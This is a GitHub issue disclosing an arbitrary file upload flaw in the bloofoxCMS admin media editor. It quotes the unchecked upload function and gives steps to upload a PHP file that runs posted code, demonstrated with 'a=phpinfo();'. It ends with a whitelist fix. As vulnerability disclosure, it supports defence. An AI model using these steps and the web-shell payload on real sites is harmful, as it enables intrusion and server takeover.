

[New issue](#)[Jump to bottom](#)

# There is a file upload vulnerability here: /admin/index.php?mode=content&page=media&action=edit #14

[Open](#) zhendezuile opened this issue on Apr 1 · 0 comments

zhendezuile commented on Apr 1 • edited ▼

Vulnerability file: \functions.php

You can see that the file is uploaded directly without the verification file suffix.

```
// upload file to folder $folder
function upload_file($folder)
{
    $oldperms = fileperms($folder);
    @chmod($folder,$oldperms | 0222);
    if(!is_writeable($folder)) {
        return(0);
    } else {
        move_uploaded_file($_FILES["filename"]["tmp_name"],$folder.$_FILES["filename"]["name"]);
        @chmod($folder.$_FILES["filename"]["name"],0666);
    }
    @chmod($folder,$oldperms);
    return(1);
}
```

Vulnerability to reproduce:

- 1、 First log in to the backend of the website
- 2、 Visit url: <http://www.xxx.com/admin/index.php?mode=content&page=media&action=edit&file=de.gif&type=1> .

Then operate as shown below:

## bloofoxCMS Admincenter

Home

Contents

Structure

Pages

Articles

Media

Administration

Settings

Contents / Edit Mediafile

General

File

de.gif

浏览...

1.php

Type

Image









Save

- 3、 You can see that 1.php is successfully uploaded

Contents / Media


Changes have been saved.

- Show all types - Set

Type	File	File Size	Dimension	Changed at	Action
Image	1.php	0.02 KByte	x	04/02/2022 - 00:07	 
Image	de.gif	0.83 KByte	14x14	08/25/2020 - 20:34	 
Image	en.gif	0.88 KByte	14x13	08/25/2020 - 20:34	 
Image	favicon.ico	0.8 KByte	16x16	08/25/2020 - 20:34	 

4、Visit <http://www.xxx.com/media/images/1.php> and execute the code to get phpinfo information

PHP Version 5.2.17



System	Windows NT XIAOBIN-PC 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	cscript /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--with-snapshot-template=d:\php-sdk\snap_5_2\vc6\x86\template" "--with-php-build=d:\php-sdk\snap_5_2\vc6\x86\php_build" "--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8=D:\php-sdk\oracle\instantclient10\sdk,shared" "--without-pi3web"
Server API	Apache 2.4 Handler - Apache Lounge
Virtual Directory Support	enabled
Configuration File (php.ini) Path	C:\windows
Loaded Configuration File	D:\phpstudy2018\PHPTutorial\php\php-5.2.17\php.ini
Scan this dir for additional .ini files	(none)
additional .ini files parsed	(none)
PHP API	20041225

控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境 应用程序 HackBar

<http://www.xxx.com/media/images/1.php>

☒ Post data ☐ Referer ☐ User Agent ☐ Cookies [Clear All](#)

```
a=phpinfo();
```

Repair suggestion:  
Set the upload whitelist and limit the suffixes of uploaded files to gif, jpg, and png

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

---

1 participant

